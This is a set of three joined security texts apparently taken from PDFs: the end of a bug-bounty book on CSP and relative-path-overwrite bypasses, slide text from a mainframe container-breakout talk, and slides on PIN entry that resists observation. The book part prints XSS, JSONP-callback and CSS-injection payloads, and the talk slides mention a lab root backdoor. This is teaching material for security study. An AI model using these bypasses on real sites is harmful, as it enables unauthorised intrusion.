‘Unsafe-eval’ ○ Allows dynamic code evaluation (eval() function) ● ‘Sha256-‘ ○ Can only load resources if it matches the hash ● ‘Nonce-‘ ○ Allows an inline script or CSS to execute if the script tag contains a nonce attribute matching the nonce specified in the CSP header. Now that you know about the structure of a CSP header let's look at an example. As shown below you can see that the CSP is returned in the HTTP response header. ● default-src 'none'; base-uri 'self'; block-all-mixed-content; connect-src 'self' uploads.github.com www.githubstatus.com collector.githubapp.com api.github.com www.google-analytics.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com wss://live.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com; frame-ancestors 'none'; frame-src render.githubusercontent.com; img-src 'self' data: github.githubassets.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com *.githubusercontent.com customer-stories-feed.github.com spotlights-feed.github.com; manifest-src 'self'; media-src 'none'; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com The first thing we see is: default-src ‘none’; . Basically this says block everything unless told otherwise. I also see: frame-ancestors ‘none’; . This policy will block other sites from loading this site in an iframe, this kills the clickjacking vulnerability. We also see: script-src github.githubassets.com; . This policy makes it so the site can only load javascript files from github.githubassets.com, basically killing XSS unless we can find a bypass in that site. There are other policies defined as well go see what they are doing. Basic CSP Bypass There are quite a few ways to mess up your implementation of CSP. One of the easiest ways to misconfigure the CSP is to use dangerous values when setting policies. For example suppose you have the following CSP header: ● default-src 'self' * As you know the default-src policy acts as a catch all policy. You also know that * acts as a wild card. So this policy is basically saying allow any resources to be loaded. It's the same thing as not having a CSP header! You should always look out for wildcard permissions. Let's look at another CSP header: ● script-src 'unsafe-inline' 'unsafe-eval' 'self' data: https://www.google.com http://www.google-analytics.com/gtm/js https://*.gstatic.com/feedback/ https://accounts.google.com ; Here we have the policy script-src which we know is used to define where we can load javascript files from. Normally things like <IMG SRC=”javascript:alert(‘XSS’);”> would be blocked but due to the value ‘unsafe-inline’ this will execute. This is something you always want to look out for as it is very handy as an attacker. You can also see the value data: this will allow you to load javascript if you have the data: element as shown below: <iframe/src=”data:text/html,<svg onload=alert(1)>”>. So far all of the techniques used to bypass CSP have been due to some misconfiguration or abusing legitimate features of CSP. There are also a few other techniques which can be used to bypass the CSP. JSONP CSP Bypass If you don’t know what JSONP is you might want to go look at a few tutorials on that topic but i'll give you a brief overview. JSONP is a way to bypass the same object policy (SOP). A JSONP endpoint lets you insert a javascript payload , normally in a GET parameter called “callback” and the endpoint will then return your payload back to you with the content type of JSON allowing it to bypass the SOP. Basically we can use the JSONP endpoint to serve up our javascript payload. You can find an example below: ● https://accounts.google.com/o/oauth2/revoke?callback=alert(1337) As you can see above we have our alert function being displayed on the page. The danger comes in when a CSP header has one of these endpoints whitelisted in the script-src policy. This would mean we could load our malicious javascript via the JSONP endpoint bypassing the CSP policy. Look at the following CSP header: ● script-src https://www.google.com http://www.google-analytics.com/gtm/js https://*.gstatic.com/feedback/ https://accounts.google.com ; The following would get blocked by the CSP: ● http://something.example.com/?vuln_param=javascript:alert(1) ; What if we tried the following: ● http://something.example.com/?vuln_param=https://accounts.google.com/o/oauth2/revo ke?callback=alert(1337) This would pass because accounts.google.com is allowed to load javascript files according to the CSP header. We then abuse the JSONP feature to load our malicious javascript. CSP Injection Bypass The third type of CSP bypass is called CSP injection. This occurs when user supplied input is reflected in the CSP header. Suppose you have the following url: ● http://example.com/?vuln=something_vuln_csp If your input is reflected in the CSP header you should have something like this: script-src something_vuln_csp; object-src 'none'; base-uri 'none'; require-trusted-types-for 'script'; report-uri https://csp.example.com ; This means we can control what value the script-src value is set to. We can easily bypass the CSP by setting this value to a domain we control. Summary The CSP is a header used to control where an application can load its resources from. This is often used to mitigate vulnerabilities such as XSS and clickjacking but if set up improperly it can be easy to bypass. Looking for things such as CSP injection or a vulnerable JSONP endpoint can be an easy way to bypass the CSP header. If the CSP was improperly set up you could use the CSP functionality against itself to bypass the CSP. For example the use of ‘inline-scripts’ and wild cards is always dangerous when applied to the script-src policy. Relative Path Overwrite (RPO) Introduction Relative path overwrite(RPO) is an older lesser known vulnerability which impacts a decent number of applications. You can sometimes use the vulnerability for XSS or extracting sensitive data but the vast majority of the cases can only be exploited for web defacement. This vulnerability is normally classified as a low severity finding but I still find it interesting as very few people know how to exploit this bug so there are good chances it will be missed in the wild. RPO Before you can exploit RPO a few things must happen. First you need to find a page that reflects the current url, path, or referrer header in the response. Secondly you need the page to be missing the “DOCTYPE” tag to enable quirks mode. Third, you need the endpoint to have a wild card path so “example.com/vuln.php” is the same as “example.com/vuln.php/somthing/”. Finally you need to find if there are any style sheets being imported using a relative path. If all these requirements are met you can probably exploit the RPO vulnerability. To understand RPO you first thing you need to learn about is how browsers use path relative links to load content. ● <link href="http://example.com/style.css" rel="stylesheet" type="text/css"/> ● <link href="/style.css" rel="stylesheet" type="text/css"/> ● <link href="style.css" rel="stylesheet" type="text/css"/> As you can see above there are a few ways an application can load the CSS file “style.css”. The first example uses an absolute link which is the full path to the CSS file. The second example starts at the root of the web directory and looks for the “style.css” file there. Finally the last example uses a relative path so it will look at the current directory for the “style.css” file, if the url is “example.com/test/” it will look for the CSS file at “/test/style.css”. You also need to know a little about “Quirks Mode”. Quirks mode was designed to gracefully handle the poorly coded websites which was fairly common back in the day. If quirks mode is enabled the browser will ignore the “content-type” of a file when processing it. So if we pass an HTML file to a link tag it will still parse the HTML file as if it's a CSS file. If Quirks mode is disabled the browser would block this action. Now that you have the prerequisite knowledge it's time to get to the actual exploit. First examine the vulnerable code below: First we need to figure out if the application reflects the path in the HTML source. Look at the above image we can clearly see the “path” variable is concatenated with the output but normally you don't have access to the source so you will need to manually verify this as shown below: Above you can clearly see the “okay/” path displayed on the page. We can also see the “document type” tag is missing from the HTML source so we know the page is running in quirks mode. Next we need to figure out if “/home/okay/” resolves to the same page as “/home” which it does. As shown above when we change the URL to “/home/okay/” the “Link” tag tries to import its stylesheet from “/home/okay.style.css” this is because the Link tag is using a relative path. Also notice how the style sheet resolves to the same HTML source as “/home”. This is because there is a wild card path after “/home” which causes any path after “/home” to resolve to “/home”. Also note that the response does not contain a “document type” tag so the browser has “quirk mode” enabled. If it did contain a “document type” tag this mode would be disabled and the browser would throw an error when it goes to parse the CSS file because it will contain a “text/html” content type as shown below: Lucky for us the document type is not included in the HTML so we can continue with the attack. The last step is to actually launch the exploit to see if it works. Since the Link tag is accepting the HTML output as CSS and user controlled input is reflected in that output an attacker could inject CSS commands causing the page to execute them. ● %0A{}*{color:red;}/// As you can see above we injected CSS code to turn the font red so we now know the target is vulnerable. Summary Relative path overwrite is an older lesser known vulnerability that still impacts many applications. This may be considered a low severity finding but it can still be used to perform web defacements. I normally don't hunt for this vulnerability but if I can't find anything else i'll give this one a shot, it never hurts to try. Conclusion Now you have a few more tricks up your sleeve. However, there are plenty of other techniques out there and I would recommend learning additional vulnerabilities. The more vulnerabilities you know how to exploit the better chances you have of finding a vulnerability in an application. Wrap Up The first book walked you through the recon & findingerprinting phase while this book talked about the beginning stages of the exploitation phase. If you have read both you might be thinking that you are an OG hacker now but that is not the truth. At this point in the game you would be considered an upper level beginner or a lower intermediate skilled hacker. There is so much more to cover! The exploitation phase is so vast that it will require another book or two before it is fully finished. There are also additional things in the recon & fingerprinting phase that weren't covered in the first book so there will probably need to be another book continuing that phase as well. With that being said you still deserved a pat on the back. With the knowledge gained from the first and second book you have a complete picture of the recon, fingerprinting, and exploitation phase of a hunt. Although the techniques learned would still be considered relatively basic you can still use them to compromise the vast majority of your targets. Fortune 500 companies, start ups, and everything in between it doesn't matter who your target is these techniques can be used to compromise them all the same.
pdf
The Real-Life Story of the First Mainframe Container Breakout CROSSOVER EPISODE @IanColdwater @bigendiansmalls • Ian is a leading expert on containers and container security. • Chad is the same, but for mainframes and mainframe security. MINNESNOWTA @IanColdwater @bigendiansmalls DEEP MAGIC @IanColdwater @bigendiansmalls HOW IT ALL BEGAN @IanColdwater @bigendiansmalls LATER THAT WEEK @IanColdwater @bigendiansmalls COMMON THREADS @IanColdwater @bigendiansmalls WINTER PROJECT @IanColdwater @bigendiansmalls THE LIMIT DOES EXIST @IanColdwater @bigendiansmalls FORMAL STATEMENT FROM IBM @IanColdwater @bigendiansmalls CONTAINERS ON A MAINFRAME?! “Containers? On my mainframe?” THIS IS A MAINFRAME @IanColdwater @bigendiansmalls THIS IS ALSO A MAINFRAME @IanColdwater @bigendiansmalls ZCX ARCHITECTURE @IanColdwater @bigendiansmalls WHAT IS A CONTAINER? @IanColdwater @bigendiansmalls HOW DID WE BREAK IT? @IanColdwater @bigendiansmalls ASSEMBLING LAYERS @IanColdwater @bigendiansmalls SPACE CAMP @IanColdwater @bigendiansmalls GETTING TRAINED UP @IanColdwater @bigendiansmalls https://evilmainframe.com GETTING TRAINED UP @IanColdwater @bigendiansmalls https://securekubernetes.com TAKING OFF @IanColdwater @bigendiansmalls ZCX PROVISIONING @IanColdwater @bigendiansmalls FIRST LOOK @IanColdwater @bigendiansmalls EXOTIC HACKER TOOLS @IanColdwater @bigendiansmalls JOB LOG @IanColdwater @bigendiansmalls VISIBILITY CLOAK @IanColdwater @bigendiansmalls PATCHING THE BINARY @IanColdwater @bigendiansmalls ECHO PRIVATEKEY.PEM @IanColdwater @bigendiansmalls OPE, KEY IN THE LOGS @IanColdwater @bigendiansmalls CONTAINER SETUP @IanColdwater @bigendiansmalls WARNING LABEL @IanColdwater @bigendiansmalls DOCKER IN DOCKER @IanColdwater @bigendiansmalls ZCX DOCKER OUT OF DOCKER @IanColdwater @bigendiansmalls ZCXAUTHPLUGIN ERRORS @IanColdwater @bigendiansmalls CLI RESTRICTIONS @IanColdwater @bigendiansmalls 🦋 IS THIS PATTERN MATCHING? @IanColdwater @bigendiansmalls CONTAINERS ARE HARD @IanColdwater @bigendiansmalls BIND MOUNT RESTRICTIONS @IanColdwater @bigendiansmalls DOCKER.SOCK @IanColdwater @bigendiansmalls DOCKER ENGINE API @IanColdwater @bigendiansmalls DEMO - MAKING CALLS @IanColdwater @bigendiansmalls FIX THE COBOL! @IanColdwater @bigendiansmalls BOOTING ZCX @IanColdwater @bigendiansmalls BUT WHAT IS IT … REALLY? @IanColdwater @bigendiansmalls CONTAINER SECURITY MODEL APF SECURITY MODEL @IanColdwater @bigendiansmalls WORLDS COLLIDING @IanColdwater @bigendiansmalls PASSING THE BALL @IanColdwater @bigendiansmalls WHAT ARE THESE ERRORS? @IanColdwater @bigendiansmalls WTF SYSTEMD @IanColdwater @bigendiansmalls THE SYSCALLS ARE COMING FROM INSIDE THE HOUSE @IanColdwater @bigendiansmalls EXITS ON MAINFRAMES @IanColdwater @bigendiansmalls WHY IS THIS BINARY SO BIG? @IanColdwater @bigendiansmalls GOLANG BINARIES ARE THICC @IanColdwater @bigendiansmalls BUILDING A MOON LAB • Improved bind mounts • Disabled zcxauthplugin service • Removed zcxauthplugin references from systemd • Disabled userns remapping • Added root backdoor • Fixed sudoers file @IanColdwater @bigendiansmalls WHAT’S NEXT @IanColdwater @bigendiansmalls ZCXAUTHPLUGIN @IanColdwater @bigendiansmalls CROSS MEMORY @IanColdwater @bigendiansmalls DEMO - SHARED MEMORY @IanColdwater @bigendiansmalls CLOSING REMARKS @IanColdwater @bigendiansmalls REFERENCES • Getting Started with zCX • zCX docs • z/OS Overview • z/OS Security book • Container Security book • Container Operator's Manual • The dangers of docker.sock • A Compendium of Container Escapes • github.com/kelseyhightower/ nocode - the best way to write secure and reliable applications! @IanColdwater @bigendiansmalls
pdf
Vanquishing Voyeurs: Secure Ways to Authenticate Insecurely Andrea Bianchi & Zoz ANDREA BIANCHI ZOZ Overview • Password/PIN Features & Observation Attacks • Observation from Without • Physical Key Entry at Insecure Terminal • Mechanical Observation-Resistant Solutions • Observation from Within • Key Protection between Insecure Input Device and Network • Recorder/Logger Subversion • Rethinking Password Entry Mechanics • Remote Entry with Secure Transmission to Terminal • Utilization of Common Mobile Digital Devices PASSWORD TOKEN BIOMETRIC AUTHENTICATION METHODS alphanumerical graphical haptic ... keys RFID security cards ... fingerprints retina scanner voice vein scanners ... NEED FOR PASSWORDS PASSWORDS PASSWORDS TOKENS TOKENS BIOMETRICS BIOMETRICS + - + - + - Common Delegation Cheap Invisible information Observation Memory (scaling, cognitive load) Common Delegation Cheap Physical Property: can be stolen, lost, copied, deteriorated Can be easily accepted by people [Coventry 2003] No cognitive load Physical Property: can be observed, copied, deteriorated Technology not ready yet Philosophical issues concerning identification No delegation NEED FOR PASSWORDS INVISIBLE INFORMATION + DELEGATION HIGH COGNITIVE LOAD Passwords are still valuable compared to other options, and this is why they are the most common in security systems. However their cognitive load is ultimately caused by their weakness against observation. THE PROBLEM WITH PASSWORDS Passwords are subjected to observation > need to have many passwords and change them frequently > high cognitive load OBSERVATION ATTACKS HUMAN INTERFACE EXTERNAL HUMAN INTERFACE INTERNAL NETWORK e.g.: •Shoulder Surfing •Mirrors/Cameras •Keypad Dusting e.g.: •ATM Skimmers •Keyloggers e.g.: •Sniffing •MITM ENCRYPT SECURE PRIVATE INTERFACE WHAT ABOUT WHEN WE HAVE TO USE PUBLIC TERMINALS? PUBLIC TERMINALS ATMs Airport kiosks Door locks Public computers Access control PIN ENTRY TERMINALS What about bank ATM (Automatic Teller Machine) terminals? ... there was only the human bank teller Once upon a time... PIN ENTRY TERMINALS What about bank ATM terminals? 1967: The 'Barclaycash' cash dispenser (1st cash dispenser, Barclays Bank) The human bank teller PIN ENTRY TERMINALS The terminal was public to grant access 24 hours a day 1973- The future tellers PIN ENTRY TERMINALS The terminal was public to grant access 24 hours a day and even remotely! The future tellers (1973) and PAT (2010) INTERACTION HISTORY Interaction history In the past 40 years, the ATM terminals substantially did not change. The interaction with the terminals did not change as well. Observation is still one of the most common attacks! SIMILAR? Ideo for BBVA card cash input and visual SIMILAR INTERFACES SIMILAR? THE INTERACTION Ideo for BBVA = ATM in 1973 THE INTERACTION (SECURITY PERSPECTIVE) hence easily attackable (i.e. shoulder surfing and camera attack) The interaction is physically situated PUBLIC THREAT 1. Public terminals dangerous (DeLuca 2010 and Gizmodo) Skimming a terminal PUBLIC THREAT 1. Public terminals dangerous Camera, Observation, Tamper PINS IN PREVIOUS WORK Different people want different password schemes or input methods PIN Entry by trapdoor game (Roth et al.) Spy-resistant Keyboard (Tan et al.) Haptic Passwords by Malek and Sasamoto Gaze-Based Password (Kumar et al.) PINS IN THE REAL WORLD Despite all these new methods we still rely on keypads! BASIC CONSIDERATIONS We need to access public terminals, but it does not mean that and the interaction must be done at the terminal INTERACTING AT THE TERMINAL IS DANGEROUS the interaction must be the same for all of us DIFFERENT PASSWORDS FOR DIFFERENT PEOPLE AND DIFFERENT SITUATIONS ONLINE INTERFACE SECURITY IS ONLY A MINIMUM STANDARD the interaction must be limited to the default interface STRATEGY SHIFT PIN Before After PIN CHOICE MEDIATED INPUT Private Device or Software STRATEGY SHIFT An alternative strategy is to decouple interaction in two parts: we separate the input method for a PIN from the communication of the password to a terminal. CHOICE CHOICE MEDIATED INPUT THE ENEMY WITHOUT: PROTECTED PHYSICAL KEY ENTRY METHODS FOR UNTRUSTED ENVIRONMENTS PART 1 CHOICE CHOICE A Tactile Password System The Secure Haptic Keypad Bianchi, A., Oakley, I., Kwon, D.S., The Secure Haptic Keypad: Design and Evaluation of a Tactile Password System. In CHI 2010, ACM, New York, NY, pp. 1089-1092. The Problem: Observation Attack Authentication in public spaces is common ATMs, entry door systems, quick flight check-in kiosks, etc... Stolen PINs pose a significant risk to many systems U.S. estimated yearly bank fraud amount s $60M Motivations Observation attack: “Shoulder-surfing” or “Camera-attack” Related Work Related Work 1. Visual Obfuscation 2. Eye Tracking 3. Personal Interfaces 4: Haptic Obfuscation Related Work Multimodal systems: password information (i.e. textual and graphical passwords) can be obfuscated using haptics, as an invisible channel. Relies on a cognitive transformation/mapping. Haptic-based Graphical Password (Malek et al.) Undercover (Sasamoto et al.) The idea: Haptic Password A sequence of tactile cues (tactons), inherently invisible to everyone. Haptic password System Password Model Passwords in the system take the form of a sequence of tactile feedback in the forms of vibrations (from a set of 3 possibilities) System Example of Haptic Password made of 3 tactons 1 Hz 2 Hz Continuous Our 3 Tactons Haptic Keypad Overview System Keypad constructed of three physically independent buttons each capable of (1)sensing finger input and (2)rendering vibrotactile cues in the form of tactons and (3)accepting input selection. Haptic Keys System Three identical hardware: (1) force sensing resistor (FSR) adjust the strength of the vibrotactile output (2) linear coil vibrotactile actuators within the casing (3) physical switches for key selection The Password Software System 1. AVR micro-controller handles sensing, rendering and input. 2. The Haptic Keypad is connected to a computer via serial port. 3. Minimal GUI represents only completion progress Interaction Model System Rules: 3 tactons are assigned to 3 keys (1<->1 correspondence) Tactons are randomized on keys after each entry. Match input with password System Randomize key-tacton assignment User feels the keys and finds the only right tacton User selects the tacton clicking the key Example of Interaction System Password To match With no interaction keys are silent System Randomize User feels the keys User selects System Password To match Press the FSRs to “feel” the tactons Example of Interaction System Randomize User feels the keys User selects System Password To match The “strength” of the tacton depends of the pressure applied Example of Interaction System Randomize User feels the keys User selects System Password To match Click the button to apply selection Example of Interaction System Randomize User feels the keys User selects System Password To match The tactons are randomly re-assigned to the keys Example of Interaction System Randomize User feels the keys User selects System Password To match Next Input Keep going on until done. Example of Interaction System Randomize User feels the keys User selects System Password to Match Case 1: User Input Case 2: User Input AUTHENTICATION SUCCESSFUL AUTHENTICATION NOT SUCCESSFUL Example of Interaction Security Objective System p(brute-force attack) = p(observation attack) p(attack) = resilience to observation and brute-force attacks. Security Standard: 4 digit numerical password p(attack)= 1/10000 Evaluation: 2 studies Evaluation To gauge our interface we conducted 2 experiments Pilot Study Test tactons recognition rate Evaluate if tactons are perceptually distinct User Study Evaluation of 3 software interfaces with the same hardware (Haptic Keypad) Compare extreme authentication schemes to obtain some insight. Experiments Design Evaluation Pilot Study • Tacton recognition rates and times • 4 participants • Simplified version of the hardware • 15 practice trial + 60 test trials (20 of each cue) User Study Experiments Design Evaluation Pilot Study •3 experimental conditions (3 software prototypes) •12 participants volunteered (mean age 29y) •Fully balanced repeated measures. Given random passwords. •10 trials x 12 subjects x 3 conditions = 360 PIN entry (2520 selection events) • Tacton recognition rates and times • 4 participants • Simplified version of the hardware • 15 practice trial + 60 test trials (20 of each cue) • Result 1: no errors. • Result 2: average selection time was 2.5s (SD 0.57s) Evaluation 3 Conditions, 3 Software Prototypes PIN TACTONS P(attack) Safe? 6 3 1 / 729 NO 9 3 1 / 19863 YES Normal Mode Trade off “password length-performance” System Randomize User feels the keys User selects Evaluation 3 Conditions, 3 Software Prototypes PIN TACTONS P(attack) Safe? 6 3 1 / 11941 Only to Observation Hybrid Mode Trade off “complexity-performance” System Randomize User feels the keys User selects OR weighted 55% of cases System Randomize User feels the keys User selects all the WRONG tactons (complement) Results Median task completion time Medians were used to minimize the effect of outliers. ANOVA and post-hoc pair-wise t-tests significants. 1. Experiment Results: Authentication Time Median Authentication Time (s) 6 pin 9 pin Hybrid 2. Experiment Results: Errors Results Mean number of Errors per Authentication Session An ANOVA not significant (perhaps due to high variance) Figure 3 Task times & error rates from authentication study Median Failed Authentications (%) 6 pin 9 pin Hybrid 2. Experiment Results: NASA TLX Results ANOVA on overall workload (Nasa TLX) significant involving the Hybrid condition. Figure 4. TLX data from authentication study. Discussion Results Type Performance Security Comments 6 PIN Fast Time / Low Error 3.7s per selection (2.5s in Pilot study: 3.7 < 2.5*3) Low User as reference value 9 PIN Fast Time / Low Error 3.7s per selection Safe •Users didn’t find more challenging entering additional PINs •(linear proportion with 6 pin: 1.5 ratio between password length and time) •PIN relatively easy to remember HYBRID Slow Time / High Error 6.5s per selection Observation Safe High cognitive load (overhead) Comparison with Previous Systems Results Data From Undercover 6 PIN 9 PIN HYBRID UNDERCOVER (CHI 08) Time (s) 22.2 33.8 39.5 39 - 49 (avg) Errors 9.2% 6.7% 15% 26% •Go for unimodal ! •Simplicity of a pure recognition process: feel -> recognize -> select Contributions Results •Introducing the Haptic Password model •Introducing one possible interface and method (Haptic Keypad) to use a Haptic Password •Preliminary user tests suggests that Haptic Password is a better alternative to Haptic Obfuscation •Unimodal •Simple cognitive task such as recognition Audio and Haptic Shoulder-Surfing Resistant PIN Entry Methods for Mobile Devices The Phone Lock Bianchi, A., Oakley, I., Lee, J., Kwon, D. The haptic wheel: design & evaluation of a tactile password system. In Proceedings of CHI 2010, ACM, New York, NY, pp. 3625-3630. Bianchi, A., Oakley, I., Kostakos, V., Kwon, D., The Phone Lock: Audio and Haptic shoulder-surfing resistant PIN entry methods. In Proc. of ACM TEI’11, ACM, New York, pp. 197-200. Shift in computing, shift in interaction From private user to collaborative Motivations From fixed to mobile Observation: The New Old threat Motivations Observation remains one of the most simple and common way to steal a PIN. Large screens + public spaces = Two Objectives Motivations Introducing a new PIN entry system for mobile devices resistant against observation. 1 Non-visual PIN and its role in tangible and ubiquitous interfaces VS Comparing authentication performance of audio and haptic stimuli as PIN. 2 What is the best non-visual PIN? How can we make an invisible PIN? System Make a PIN invisible using invisible cues and a new interaction method A sequence of audio cues (sound) Audio PIN 5 4 3 9 computer speech inherently invisible to everyone. Haptic PIN vibration patterns or tactile cues (tactons) Our Alphabet Cues: example sets System Haptics Audio 0 1 2 3 4 System Haptics Audio 0 1 2 3 4 5 6 7 8 9 Our Alphabet Cues: example sets Our Cues System Use these sets to make a PIN Our Cues System Audio 0 1 2 3 4 5 6 7 8 9 computer speech Haptic vibration patterns ORDERED SET OF POSSIBLE CUES Mapping to Interface System C0 C1 C2 C3 ... ... Cn Generalizing: cues with order The Wheel GUI 1 to 1 assignment of cues to slots Mapping to Interface System C0 C1 C2 C3 ... ... Cn Generalizing: cues with order C8 C9 C0 C1 C2 C3 C4 C5 C6 C7 Start Map every cue to a slot •randomly •preserving order The Wheel GUI Interaction System C9 C1 C6 C3 Letʼs make a password using the cues System Randomize slice-cue assignment preserving order User move the finger over the slices and search the right cue User selects the cue clicking the center of the wheel C8 C9 C0 C1 C2 C3 C4 C5 C6 C7 Interaction System C9 C1 C6 C3 Letʼs make a password using the cues C8 C9 C0 C1 C2 C3 C4 C5 C6 C7 System Randomize slice-cue assignment preserving order User move the finger over the slices and search the right cue User selects the cue clicking the center of the wheel Interaction System C9 C1 C6 C3 Letʼs make a password using the cues C8 C9 C0 C1 C2 C3 C4 C5 C6 C7 System Randomize slice-cue assignment preserving order User move the finger over the slices and search the right cue User selects the cue clicking the center of the wheel Interaction System C9 C1 C6 C3 Letʼs make a password using the cues C8 C9 C0 C1 C2 C3 C4 C5 C6 C7 System Randomize slice-cue assignment preserving order User move the finger over the slices and search the right cue User selects the cue clicking the center of the wheel Interaction System C9 C1 C6 C3 Letʼs make a password using the cues System Randomize slice-cue assignment preserving order User move the finger over the slices and search the right cue User selects the cue clicking the center of the wheel C3 C4 C5 C6 C7 C8 C9 C0 C1 C2 Start Interaction map System Cue Assignment Search Navigation Selection Ordered Randomization Authentication Denied Authentication Granted In practice: demo System Inserting the PIN 1 2 4 3 Evaluation: 2 studies Evaluation To gauge our interface we conducted 2 experiments Pilot Study Test cue recognition rate Evaluate if cues are perceptually distinct (recognition time and error) User Study Evaluation of interface to explore 2 trade-offs. Audio VS Haptics Large alphabet VS Small alphabet Pilot Study - Highlights Evaluation •Simple recognition task. Simplified system. •Mean cue recognition time: 2.25s •Mean error:14% (for the large haptic alphabet) Mid-length 80ms element were the most challenging User Study: analyze the trade-offs Evaluation We analyze 2 trade offs, maintaining a security level of 1/10000 (the security of a standard numerical 4 digit PIN). Audio Haptics 4 digits PIN 0,1,2,3,4,5,6,7,8,9 6 digits PIN* 0,1,2,3,4 *The 6 digits PIN test is to compare Phone Lock against previous work We are interested in authentication time and errors. Audio VS Haptics 1 VS Large alphabet (short PIN) Small alphabet (long PIN) 2 Audio Haptics PIN 6 PIN 4 PIN 6 PIN 4 Results Trade-offs (2-way ANOVA) Modality significant (p<0.01 ) PIN length not significant Overall ANOVA and post-hoc pair- wise t-tests significants (p<0.01 ). 1. Experiment Results: Authentication Time Results Mean error 7% (<14% pilot) Effect of Modality and PIN length and their interaction were not significant. 2. Experiment Results: Authentication Errors Results Discussion - Highlights •Audio > Haptics. Is because it is more familiar? CHI 2010 •Better performing than previous similar systems •Error rate: 7% study < 14% pilot People understood how to navigate the interface Contributions Results •Introducing the Invisible Password model using audio and tactile cues •Introducing one possible interface and method for mobile phones (Phone Lock) to use with Haptic and Audio PINs •Preliminary user tests suggests that Invisible Password thought haptic and audio have a lot of potential •They are good fit for tangible user interfaces •Simple cognitive task such as recognition is good Spinlock: a Single-Cue Haptic and Audio PIN Input Technique for Authentication The SpinLock Bianchi, A., Oakley, I., Kwon, D. Spinlock: a Single-Cue Haptic and Audio PIN Input Technique for Authentication. To Appear in Proceedings of HAID 2011, LNCS, Springer, 2011. The problem with haptic passwords Motivations Haptic Password using tactons is based on recognition: high cognitive load, memorability issues, high error rates and input time The problem with haptic: example Motivations The problem with haptic: example Motivations VS Can we create an interface with only 1 tactile cue instead of using many? Can we build an interface with a different interaction methods that doesnʼt require recognition but only counting? Interaction principle Implementation Using a similar interaction of a safe dial: directions + numbers (e.g. 2 left, 3 right, 4 left...) Implementation for a phone Password are a sequence of direction-number of buzzes or beeps Implemented for phone devices Using haptics and audio output Implementation How it works: example Implementation User Study Planning User study to compare performance of audio vs haptics, with different password sizes. Evaluation Hypothesis 1: counting is faster than recognition Hypothesis 2: counting is less error prone than recognition Hypothesis 3: counting comports smaller cognitive load than recognition The user study 2 modalities x 2 PIN complexity haptic/audio numbers 1-5 / numbers 1-10 12 participants (7 male, 5 female with age between 22 and 30 years) 15 trials (first 5 as training)= 480 complete correct PIN entries and 1920 individual data input PIN randomly generated Evaluation User Study Balancing P I N c o m p l e x i t y w a s b a l a n c e d a m o n g participants Modality was balanced within each PIN complexity block Repeated measures experiment PIN Modality User 1 Short Haptic User 2 Long Haptic User 3 Short Haptic User 4 Long Audio User 5 Short Audio User 6 Long Audio User 7 Short Haptic User 8 Long Haptic User 9 Short Haptic User 10 Long Audio User 11 Short Audio User 12 Long Audio Evaluation User Study Setup Quiet room Procedure: Demographic + Instruction + Free test + 4 studies + TLX Mobile devices + connected to PC and Bluetooth for generating haptics All data were tested using two-way repeated measures ANOVAs. Evaluation Results: time and errors Results Time: significant effect on modality and PIN complexity (p<0.05) but no interaction Error: significant effect only on modality (p<0.05) Results Time: significant effect on modality and PIN complexity (p<0.05) but no interaction Error: significant effect only on modality (p<0.05) Results: time and errors Time: significant effect on modality and PIN complexity (p<0.05) but no interaction Error: significant effect only on modality (p<0.05) Results Results: time and errors The two-way ANOVA on the overall workload of the TLX showed a significant effect of modality (p=0.002) but not PIN complexity Results Results: cognitive load Discussion Haptic modality more challenging but preferred as it was more “private”. HAPTIC Significant differences were observed in the mean PIN entry times, failed authentication rates and overall workload. One possible explanation for this is system latency. PIN COMPLEXITY PIN complexity, on the other hand, resulted in increased task completion times, but had no significant effect on other metrics. Results Discussion 82% of error trials involved a mistake in only one PIN item. The majority of errors (78%) involved entering digits one higher or lower than the target item. That participants were typically aware of such errors (= resets) Results Comparison Results Spinlock PhoneLock Spinlock also performs well compared to previous systems 15.4 seconds and 6% 18.7 seconds and 7% errors Haptic Comparison Results Spinlock PhoneLock Haptic Spinlock system improves 30% over that reported in PhoneLock Haptic Comparison Results Spinloc PhoneLock Conclusions Results ACCEPTED ACCEPTED ACCEPTED User study to compare performance of audio vs haptics, with different password sizes. Hypothesis 1: counting is faster than recognition Hypothesis 2: counting is less error prone than recognition Hypothesis 3: counting comports smaller cognitive load than recognition THE ENEMY WITHIN: PROTECTED KEY COMMUNICATION FOR UNTRUSTED TERMINALS PART II SOFTWARE MEDIATED INPUT UNTRUSTED TERMINALS The password can be kept secret by the user... 1m.50.1337 ...and encryption can keep it secure within the network... ...but it still has to be entered “in the clear” at the terminal! keystroke loggers are a major method of password observation & compromise. ‣OS-level loggers on pwned machines ‣Malicious logging hardware BEING RECORDED Many examples of malware install logging software... ...as do stalkers such as jealous husbands, employers, governments... Some UI elements that may be logged: ‣Keystrokes ‣Mouse clicks ‣Screenshots ‣Mouse movements PASSWORD MANAGEMENT Computers & browsers now commonly contain “Keychain” password management software... ...but that’s no help on an untrusted public terminal... ...and sometimes you just have no choice but to use that internet café in Uzbekistan. • Forced password changes • Damage control • Image-based access methods • Changing security questions • One-time-password via SMS • Phone theft gives bonus account access • One-time-PIN token • Reduces value of stealing password • Printed list of one-time password modifiers SOME WEB PROTECTIONS Few sites offer multiple options, and in many cases not even one! • Can’t verify integrity of system • Usually can’t install or run application software • Can access pretty much any web content PROBLEM SUMMARY Ideal outcome: Application software for increased resistance to credential loss & replay attack for any website Public terminal constraints: BUT Goal: obfuscate data entry via simple, minimally tedious web mechanics • Defense: “Scissor” password copy-paste • Counterattack: Clipboard logging • Defense: Character select-drag-drop • Defense: Onscreen keyboards • Counterattack: Mouse click screen region capture • Defense: Chaff logs via tedious extraneous character entry • Counterattack: Log mining in concert with screen & mouse logging and timestamping (theoretical) COMMON NAÏVE APPROACHES • Form grabbing malware hooks browser form submit pre-encryption • e.g. Online banking theft trojans ZeuS, SpyEye • Represents majority of password-stealing trojans • However: • Limited platform/browser support (currently Windows-only) • There is no UI mechanism that can defend against this tactic anyway • We are primarily interested in interface design • Still worth defending against UI-device-level loggers WHAT ABOUT FORM GRABBERS? • Keep any sensitive text entirely out of key log • Minimize data leakage via other UI logging mechanisms • Novel interaction methods while trying to minimize tedium • Support evolutionary ecosystem: force attackers to adapt • Custom interface element production via JavaScript injection: BASIC APPROACH javascript:void((function() {var element=document.createElement('script'); element.setAttribute('type', 